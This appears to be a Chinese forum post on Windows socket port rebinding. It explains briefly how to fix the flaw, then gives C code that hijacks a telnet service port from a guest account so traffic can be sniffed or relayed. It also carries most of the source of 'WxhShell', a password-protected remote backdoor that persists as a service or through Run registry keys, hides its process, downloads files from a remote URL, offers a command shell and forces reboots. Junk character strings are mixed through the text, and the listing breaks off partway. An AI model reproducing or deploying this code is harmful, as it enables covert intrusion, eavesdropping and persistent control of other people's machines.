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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xE9^4-Px*  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ) OZDq]mV  
:lgIu .  
  saddr.sin_family = AF_INET; &4O"Xs`ka  
BR*" "/3`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @`%.\_  
Oq*a4_R'YV  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /J/r62  
mrFMdpaHl%  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kl(}s{YFn.  
r\@"({q}_-  
  这意味着什么?意味着可以进行如下的攻击: JR 2v}b  
m(B6FPjr  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 QdO$,i'  
A"vI6ud>  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {EW}Wd  
 P/nXY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 F:hJ^:BP  
],H%u2GE_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p"q-sMYl  
aFIet55o  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 pRMM1&H  
u>k;P UH4  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0AR4/5.  
-d_FB?X  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ; wW6x  
p7.@ez ;  
  #include G?3S_3J2  
  #include fQOaTsyA  
  #include O~'1)k>  
  #include    &+&^Hc  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9 *]Z  
  int main() EnwiE  
  { w\$b(HC  
  WORD wVersionRequested; 8P5xRUkV  
  DWORD ret; ?ZTB u[  
  WSADATA wsaData; B-@f.NO/s  
  BOOL val; eRVu/TY  
  SOCKADDR_IN saddr; yv$MQ~]  
  SOCKADDR_IN scaddr; .rxc"fR4_  
  int err; Wz=ZhE9g  
  SOCKET s; 6|_ S|N  
  SOCKET sc; ?W.Y x7c  
  int caddsize; R L)'m  
  HANDLE mt; M~"]h:m&'v  
  DWORD tid;   _`D760q}  
  wVersionRequested = MAKEWORD( 2, 2 ); jg%D G2  
  err = WSAStartup( wVersionRequested, &wsaData ); 3P #1fI(c  
  if ( err != 0 ) { 3`, m=1[)  
  printf("error!WSAStartup failed!\n"); b[*d i{?-  
  return -1; c-M&cU+=L  
  } *}mtVa_|  
  saddr.sin_family = AF_INET; hR= 4w$  
   78 UT]<Q;K  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 PN\2 ^@>_  
?d_<S0j-)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); gO$!_!@LM  
  saddr.sin_port = htons(23); sM?DNE^BvW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :+-s7'!4  
  { BA-n+WCWJ  
  printf("error!socket failed!\n"); \!w7 N :m  
  return -1; >!a*wf~]  
  } wHIS}OONz  
  val = TRUE; ):.]4n{L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 34P? nW(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) /ox}l<ha  
  { 7L]fCw p[  
  printf("error!setsockopt failed!\n"); 7J 0!v q  
  return -1; Z/_RQ q   
  } X7n~Ws&s@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 9I pjY~or  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 y<#y3M!\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .WtaU  
1miTE4;?  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uvm=i .  
  { sS+9ly{9J  
  ret=GetLastError();  =v8#@$  
  printf("error!bind failed!\n"); yWX:`*GV  
  return -1; xpSMbX{e  
  } 7v=Nh  
  listen(s,2); nQ/El&{  
  while(1) .|o7YTcR:  
  { a{H~>d< ?  
  caddsize = sizeof(scaddr); `Th!bk  
  //接受连接请求 UUA7m$F1  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); fx=aT  
  if(sc!=INVALID_SOCKET) YZmD:P  
  { uK t>6DN.  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ogQbST  
  if(mt==NULL) ybB/sShGM  
  { [81k4kU  
  printf("Thread Creat Failed!\n"); GJH6b7I  
  break; B8C"i%8V)  
  } 1_yUv7uhX  
  } j@ =n|cq  
  CloseHandle(mt); Q6DE|qnV  
  } C96|T>bk  
  closesocket(s); !d"J,.)  
  WSACleanup(); F lbL`@4M  
  return 0; uTn(fs) D  
  }   s>_ne0  
  DWORD WINAPI ClientThread(LPVOID lpParam)  \ 1|T  
  { Ag}>gbz~G  
  SOCKET ss = (SOCKET)lpParam; 2MJ0[9  
  SOCKET sc; T!J\Dm-  
  unsigned char buf[4096]; 18|H  
  SOCKADDR_IN saddr; -a/5   
  long num; 6Zkus20  
  DWORD val; *4WOmsj  
  DWORD ret; N?R1;|Z]  
  //如果是隐藏端口应用的话,可以在此处加一些判断 pn'*w 1i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   } CQ GvH  
  saddr.sin_family = AF_INET; x'n J_0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jcevpKkRG  
  saddr.sin_port = htons(23); iPI6 _h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) \@tt$ m%  
  { J]Uki*s  
  printf("error!socket failed!\n"); : h-N  
  return -1; 54tpR6%3p  
  } X0p=jBye~>  
  val = 100; qhiQ!fMQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -pcYhLIn  
  { \e( h6,@  
  ret = GetLastError(); x|E$ f+  
  return -1; m#DC;(Pn  
  } H|Q)Tp Lk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z]"ktb;+[  
  { = V%s^  
  ret = GetLastError(); %mh K1,  
  return -1;  [T !#s  
  } 4,T S1H  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :`oYD  
  { [;#}BlbN  
  printf("error!socket connect failed!\n"); mu|#(u  
  closesocket(sc); t$R|lv5<  
  closesocket(ss); W=]QTx,J  
  return -1; k`kmmb>  
  } ^;Ap-2Ww  
  while(1) n16,u$|  
  { Hg]Q.SeJ(  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 B9Y "J  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 El]Rrku  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  |Pwb7:a3  
  num = recv(ss,buf,4096,0); !:a pu!  
  if(num>0) H?UmHww E  
  send(sc,buf,num,0); ="<+^$7:k  
  else if(num==0) SJj0*ry:  
  break; >\3=h8zw  
  num = recv(sc,buf,4096,0); A)s  
  if(num>0) Y0aO/6  
  send(ss,buf,num,0); ep>S$a*|  
  else if(num==0) Bk~WHg>@G  
  break; 5;C+K~Y  
  } }(O 7tC  
  closesocket(ss); q-X)tH_+w@  
  closesocket(sc); bgL`FW i3  
  return 0 ; ;' YM@n  
  } O=u.PRNT8  
&*/8Ojv)9  
b78'yM&  
========================================================== Bp>%'L  
_~| j~QE]  
下边附上一个代码,,WXhSHELL xSug-  
j+w*Absh  
========================================================== 2*F["E  
aKkQXq*  
#include "stdafx.h" KP -g<Zc  
2< w/GX.  
#include <stdio.h> p!|ok #sW  
#include <string.h> 2?nK71c"  
#include <windows.h> Cd"O'<^Sb  
#include <winsock2.h> j'#W)dp(  
#include <winsvc.h> KYu3dC'/,&  
#include <urlmon.h> I[WW1P5  
"!9~77  
#pragma comment (lib, "Ws2_32.lib") `GUj.+u  
#pragma comment (lib, "urlmon.lib") <dLdSEw  
"ALR)s,1,  
#define MAX_USER   100 // 最大客户端连接数 `.>2h}op  
#define BUF_SOCK   200 // sock buffer n*{e0,gp`  
#define KEY_BUFF   255 // 输入 buffer Jou~>0,/j  
JyvXNV,  
#define REBOOT     0   // 重启 BO5F6lyQ0P  
#define SHUTDOWN   1   // 关机 f XS4&XU  
LK)0g4{  
#define DEF_PORT   5000 // 监听端口 0<Vw0%!  
o{(-jhR  
#define REG_LEN     16   // 注册表键长度 r> eOq[z  
#define SVC_LEN     80   // NT服务名长度 sX^m1v~N|  
]}<wS ]1  
// 从dll定义API w*eO9k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); /Uz2.Ua=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ]<WKi=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "9Sxj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W+Z] Y  
D"El6<3)h  
// wxhshell配置信息 bu1O<*  
struct WSCFG { q UY;CEf  
  int ws_port;         // 监听端口 lGwX.cA!'  
  char ws_passstr[REG_LEN]; // 口令 -^Baxkq(YM  
  int ws_autoins;       // 安装标记, 1=yes 0=no Z f4Xt Yn  
  char ws_regname[REG_LEN]; // 注册表键名 N5Eb.a9S  
  char ws_svcname[REG_LEN]; // 服务名 nsqc^ K^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {*bXO8vi((  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \(R(S!xr_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -\:pbR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N J9H=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *6cP-Vzd  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L NmsvU  
#qi@I;;t  
}; '=EaZ>=  
i:0~%X  
// default Wxhshell configuration \::<]  
struct WSCFG wscfg={DEF_PORT, w8:~LX.n  
    "xuhuanlingzhe", E)|fKds  
    1, -8X* (7  
    "Wxhshell", ^n"ve2   
    "Wxhshell", N93 ZI|T  
            "WxhShell Service", ?*zRM?*  
    "Wrsky Windows CmdShell Service", m/r4f279  
    "Please Input Your Password: ", r4D*$H-rR  
  1, )s4#)E1  
  "http://www.wrsky.com/wxhshell.exe", Lj6$?(x}  
  "Wxhshell.exe" m;)[gF  
    }; #uVH~P5TM  
Ouc=4'$-  
// 消息定义模块 } :P/eY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yf(VwU, x  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w&:"x@ -|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @jAuSBy  
char *msg_ws_ext="\n\rExit."; 'z0@|a  
char *msg_ws_end="\n\rQuit."; 1Rc'2Y  
char *msg_ws_boot="\n\rReboot..."; 6":=p:PT.  
char *msg_ws_poff="\n\rShutdown..."; S-Mn  
char *msg_ws_down="\n\rSave to "; l 3bo  
%?1k}(qUeY  
char *msg_ws_err="\n\rErr!"; {.v-  
char *msg_ws_ok="\n\rOK!"; .YKqYN?y4  
]f=108|8  
char ExeFile[MAX_PATH]; M^DYzJ  
int nUser = 0; a^t#kdT  
HANDLE handles[MAX_USER]; @JVax-N  
int OsIsNt; z)I.^  
pwU l&hwte  
SERVICE_STATUS       serviceStatus; fT9$0:eO  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &$ZJfHD@  
CKeT%3  
// 函数声明 ]p~w`_3v  
int Install(void); |fkz=*rn  
int Uninstall(void); $e1==@ R  
int DownloadFile(char *sURL, SOCKET wsh); ohklLZoZ  
int Boot(int flag); & F\HR  
void HideProc(void); NPF"_[RoeV  
int GetOsVer(void); *J,VvO 9  
int Wxhshell(SOCKET wsl); wGD*25M7$  
void TalkWithClient(void *cs); _0p8FhNt  
int CmdShell(SOCKET sock); ' ^L|}e  
int StartFromService(void); O N..B} J  
int StartWxhshell(LPSTR lpCmdLine); tJ`tXO  
9bd$mp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); E0]B=-  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hF|N81T  
L ldZ"%P  
// 数据结构和表定义 g.$a]pZz  
SERVICE_TABLE_ENTRY DispatchTable[] = 8i"v7}  
{ <WhdQKFf-  
{wscfg.ws_svcname, NTServiceMain}, CR3<9=Lv>  
{NULL, NULL} 9cQZ`Ex  
}; BnJpC<xm  
k'Is]=3  
// 自我安装 "@uKe8r|y  
int Install(void) xe9E</M_  
{ G+&ug`0]5  
  char svExeFile[MAX_PATH]; ~.\CG'g  
  HKEY key; :98<dQIG  
  strcpy(svExeFile,ExeFile); b?S,%  
=Ts2a"n  
// 如果是win9x系统,修改注册表设为自启动 W>$2BsO  
if(!OsIsNt) { IL*Ghq{/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Itaq4^CE  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); &GMBvmP  
  RegCloseKey(key); xv|?;Zf6w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I|&<!{Rq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); hc#Lni R3$  
  RegCloseKey(key); ,i0Dw"/u  
  return 0; vl1`s ^}R  
    } :De@_m  
  } /Mq9~oC  
} j~DTvWg<Jl  
else { o_=t9\:  
Bgw=((p  
// 如果是NT以上系统,安装为系统服务 vlW521  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); F_C7S  
if (schSCManager!=0) Z9S5rPHEL  
{ ,v<GSiO  
  SC_HANDLE schService = CreateService wg-qq4Q\  
  (  8kn> ?  
  schSCManager, ')G, +d^  
  wscfg.ws_svcname, ~bC-0^/ 8|  
  wscfg.ws_svcdisp, K+WbxovXU  
  SERVICE_ALL_ACCESS, ]Q8[,HTG  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9x4%M&<Z9a  
  SERVICE_AUTO_START, !UPKy$  
  SERVICE_ERROR_NORMAL, ,oin<K  
  svExeFile, MZ$x(Vcj  
  NULL, /2s=;tA1  
  NULL, /J@<e{&t~  
  NULL, 1:Sq?=&  
  NULL, ICvl;Q  
  NULL EU5^"\  
  ); Chso]N.1  
  if (schService!=0) >_3P6-L>  
  { Yee% <<S  
  CloseServiceHandle(schService); ?b,4mDptE  
  CloseServiceHandle(schSCManager); .5_zh; `  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Yo-$Z-ud  
  strcat(svExeFile,wscfg.ws_svcname); o&U'zaj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tZL|;K  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z=KHsMnB  
  RegCloseKey(key); 4lp9 0sa  
  return 0; a62'\wF>D  
    } " J4?Sb<  
  } /s~(? =qYH  
  CloseServiceHandle(schSCManager); uUIjntSF(  
} L\cb Y6b  
} ,%^qzoZnT  
+|K/*VVn`  
return 1; evQk,;pIm  
}  8MZ:=  
cVYPPal  
// 自我卸载 8V?*Bz-4`  
int Uninstall(void) ~@ H9h<T  
{ NScUlR"nE  
  HKEY key; 0Yo(pW,k  
6Zx'$F.iqK  
if(!OsIsNt) { dxa[9>V  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { s +Q'\?  
  RegDeleteValue(key,wscfg.ws_regname); IW>\\&pJ  
  RegCloseKey(key); <)]j;Tl  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (>,}C/-UG  
  RegDeleteValue(key,wscfg.ws_regname); )e?6 Ncy  
  RegCloseKey(key); k:yrh:JhB  
  return 0; %;ZDw@_<  
  } CubBD+h l*  
} X-']D_f|,  
} (GJX[$@  
else { .t9*wz  
vO 3-B   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); knABlU  
if (schSCManager!=0) VthM`~3  
{ )J(@e4;Rv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6xW17P  
  if (schService!=0) N 6t`45  
  { C%QC^,KL  
  if(DeleteService(schService)!=0) { sOBuJx${m  
  CloseServiceHandle(schService); A5 <T7~U  
  CloseServiceHandle(schSCManager); #+SdX[ N  
  return 0; f eA(Rj  
  } d$<1Ma}  
  CloseServiceHandle(schService); <=gf|(  
  } 3BK_$Fy  
  CloseServiceHandle(schSCManager); "SFs\] Z  
} e)Pm{:E  
} I`KBj6n  
'U{6LSaCb  
return 1; yiAusl;  
} M^?=!!US^  
kT ,2eel  
// 从指定url下载文件 9 :FzSD  
int DownloadFile(char *sURL, SOCKET wsh) {3kI~s  
{ InfUH8./t  
  HRESULT hr; QMBV"E_aY  
char seps[]= "/"; >YP]IQ  
char *token; A]%hM_5s  
char *file; Xb5 $ijH  
char myURL[MAX_PATH]; G{{Or  
char myFILE[MAX_PATH]; //H3{^{  
:taRCh5  
strcpy(myURL,sURL); 8+U':xR  
  token=strtok(myURL,seps); -"X} )N2  
  while(token!=NULL) c69M   
  { oQ_n:<3X  
    file=token; *EzAo  
  token=strtok(NULL,seps); J6*B=PX=(  
  } ^bckl tSo  
t.tdY  
GetCurrentDirectory(MAX_PATH,myFILE); WA79(B  
strcat(myFILE, "\\"); `Ef &h V  
strcat(myFILE, file); \`:LPe  
  send(wsh,myFILE,strlen(myFILE),0); YcJ2Arml  
send(wsh,"...",3,0); !>L+q@l)  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G9uWn%5r  
  if(hr==S_OK) 7LdNE|IP  
return 0; k%v/&ojI  
else B\ a#Vtyut  
return 1; M"$TXXe  
.`Ts'0vVy  
} 4uUR2J  
_ Oe|ZQ  
// 系统电源模块 e{x|d?)8  
int Boot(int flag) 5cE!'3Y  
{ /+F|+1   
  HANDLE hToken;  p3r1lUw  
  TOKEN_PRIVILEGES tkp; %C8fv|@:f  
wOp# mT  
  if(OsIsNt) {  YErn50L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); n!(g<"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]m(5>h#  
    tkp.PrivilegeCount = 1; V6ioQx=K#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~-w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fJ3qL# '  
if(flag==REBOOT) { w5(GRAH  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d4P0f'.z  
  return 0; \..(!>,%F  
} 5B<G;if,  
else { 9h6xli  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g loo].z  
  return 0; ]41G!'E=  
} rS 4'@a  
  } nA]dQ+5sT  
  else { m~Dq0 T  
if(flag==REBOOT) { }m<)$.x|P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) b+M[DwPw  
  return 0; 2r~ Nh](  
} @$79$:q N  
else { GSW{h[Op  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ma }Y\(38  
  return 0; FK#>E[[  
} Ac.z6]p  
} uu>[WFh  
,9#G/nF  
return 1; g-%uw[pf  
} ^U_B>0`ch  
b}$m!c:<8  
// win9x进程隐藏模块 rDYq]`  
void HideProc(void) &K^h'>t'  
{ m`9)DsR N  
/:e|B;P`k  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A}\Rms 2  
  if ( hKernel != NULL )  aG\m 3r  
  { ~pj9_I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h3 p 3~xq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Q$,8yTM  
    FreeLibrary(hKernel); y::;e#.  
  } %1HW ) 7  
Sjr(e}*  
return; f8?K_K;\   
} %e%nsj6  
1"odkM  
// 获取操作系统版本 xel&8 `  
int GetOsVer(void) h)wR[N]n  
{ H[,.nH_>+  
  OSVERSIONINFO winfo; O:7y-r0i  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G)43Y!  
  GetVersionEx(&winfo); Y+?bo9CES!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O~,^x$v e  
  return 1; A{6ZEQAh>  
  else )X^nzhZ2O"  
  return 0; ~82jL%-u  
} jQ`"Op 3  
82)d.>  
// 客户端句柄模块 cR5<.$aY  
int Wxhshell(SOCKET wsl) )edM@beY_  
{ e-}PJ%!,T  
  SOCKET wsh; W: ?-d{  
  struct sockaddr_in client; (`!| Uf$  
  DWORD myID; ~4`wfOvO  
,Fr{i1Ky  
  while(nUser<MAX_USER) 4UL-j  
{ @6D<D6`  
  int nSize=sizeof(client); XbH X,W$h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t'Q48QAb?  
  if(wsh==INVALID_SOCKET) return 1; e;6Sj  
x9_ Lt4  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); lHGv:TN  
if(handles[nUser]==0) ;c>Yr ?^  
  closesocket(wsh); v l*RRoJ  
else `\Npu  
  nUser++; k2@IJ~  
  } "7<4NV@yQ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0Hz3nd?v  
^2??]R&Q  
  return 0; z H \*v'  
} cKfYkJ)A'  
<K0lS;@K  
// 关闭 socket AjlG_F  
void CloseIt(SOCKET wsh) F@I_sGCcb  
{ R #ZDB]2  
closesocket(wsh); SUVr&S6Nk  
nUser--; wk/->Rz  
ExitThread(0); 9]YmP8  
} I&xRK'  
53T2w,?  
// 客户端请求句柄 o&AUB` .9~  
void TalkWithClient(void *cs) 4Ek< 5s[  
{ ~J2Q0Jv  
RTU:J67E  
  SOCKET wsh=(SOCKET)cs; wd]Yjr#%Ii  
  char pwd[SVC_LEN]; PT4`1Oy}/1  
  char cmd[KEY_BUFF]; v8X&H  
char chr[1]; ~8X' p6  
int i,j; m,KY_1%M  
|s^ar8)=)  
  while (nUser < MAX_USER) { 5cADC`q  
i!HGM=f  
if(wscfg.ws_passstr) { lrE0)B5F  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4[ra  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '!I?C/49k  
  //ZeroMemory(pwd,KEY_BUFF); + ND9###  
      i=0; 4 5lg&oO  
  while(i<SVC_LEN) { R3PhKdQ"  
CQ`(,F3(  
  // 设置超时 s`B'vyoaa  
  fd_set FdRead; p\WUk@4  
  struct timeval TimeOut; ?MYD}`Cv  
  FD_ZERO(&FdRead); a#IJ<^[8  
  FD_SET(wsh,&FdRead); Esjv^* v9-  
  TimeOut.tv_sec=8; Y'5ck(  
  TimeOut.tv_usec=0; #J!? :(m:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ae#6=]V+^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 3KKe4{oG  
JK(&E{80  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Pc,+>vh  
  pwd=chr[0]; O2G+ '  
  if(chr[0]==0xd || chr[0]==0xa) { P1QJ'eC;T  
  pwd=0; :t qjm:  
  break; W!k6qTz)  
  } b{rmxtx  
  i++; f#~Re:7.c  
    } CA4-&O"  
0Nu]N)H5<l  
  // 如果是非法用户,关闭 socket K*9b `%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )rj mJ  
} mSfhl(<L  
d eoM~r9s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); EVFfXv^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I[UA' ~f  
\bOjb\ w$  
while(1) { Yg[IEy  
.;b> T  
  ZeroMemory(cmd,KEY_BUFF); ~@D%qbN  
lt4jnV2"a  
      // 自动支持客户端 telnet标准   |S{P`)z%f  
  j=0; *u/|NU&X  
  while(j<KEY_BUFF) { }|Tg_+   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >~rd5xlk  
  cmd[j]=chr[0]; h'~- K`  
  if(chr[0]==0xa || chr[0]==0xd) { _,FoXf7  
  cmd[j]=0; e<4z)  
  break; Nr9[Vz?$P  
  } rcx;3Vne  
  j++; j/D)UWkR  
    } ]$*{<  
^P/D8cXa4  
  // 下载文件 o%%x'uC  
  if(strstr(cmd,"http://")) { C..2y4bA}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); #2jn4>  
  if(DownloadFile(cmd,wsh)) fVUBCu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); w3qf7{b  
  else _]UDmn[C  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q7&yb.<KD.  
  } -]\E}Ti  
  else { N&APqT  
I ~L Q1 _  
    switch(cmd[0]) { SU O;  
  x7Rq|NQ  
  // 帮助 ~f10ZB_k>'  
  case '?': { 2ZbY|8X$r  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); I"sobZ`  
    break; v^W?o}W  
  } &JhIn%=-  
  // 安装 :Q ?J}N  
  case 'i': { G^rh*cb K  
    if(Install()) b?] S&)"9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EO/cW<uV'  
    else $^=jPk]+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1gShV ]2  
    break; Ag#5.,B-  
    } B N*,!fx  
  // 卸载 ONN{4&7@<  
  case 'r': { A,lw-(.z4Z  
    if(Uninstall()) .l( r8qY#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !qXq y}?w  
    else O3C)N I\i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?X_0Iy}1  
    break; xeYySM=  
    } _UBJPb@=U  
  // 显示 wxhshell 所在路径 +?j?|G  
  case 'p': { F0BOhlK  
    char svExeFile[MAX_PATH]; 86[RH!e  
    strcpy(svExeFile,"\n\r"); R!/,E  
      strcat(svExeFile,ExeFile); ;%rs{XO9  
        send(wsh,svExeFile,strlen(svExeFile),0); 0$"Q&5Y  
    break; }U?gKlLg  
    } C`)^~C_]`3  
  // 重启 >^T,U0T])  
  case 'b': { 7:VEM;[d  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ##`;Eh0a  
    if(Boot(REBOOT)) (ciGLfNG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1FD7~S|  
    else { 4lY&=_K[)  
    closesocket(wsh);  g`)/x\  
    ExitThread(0); (iCZz{l@~  
    } OP|.I._I  
    break; iC\rhHKQ  
    } )~?S0]j}  
  // 关机 tv@Z 5  
  case 'd': { k5fH ;  
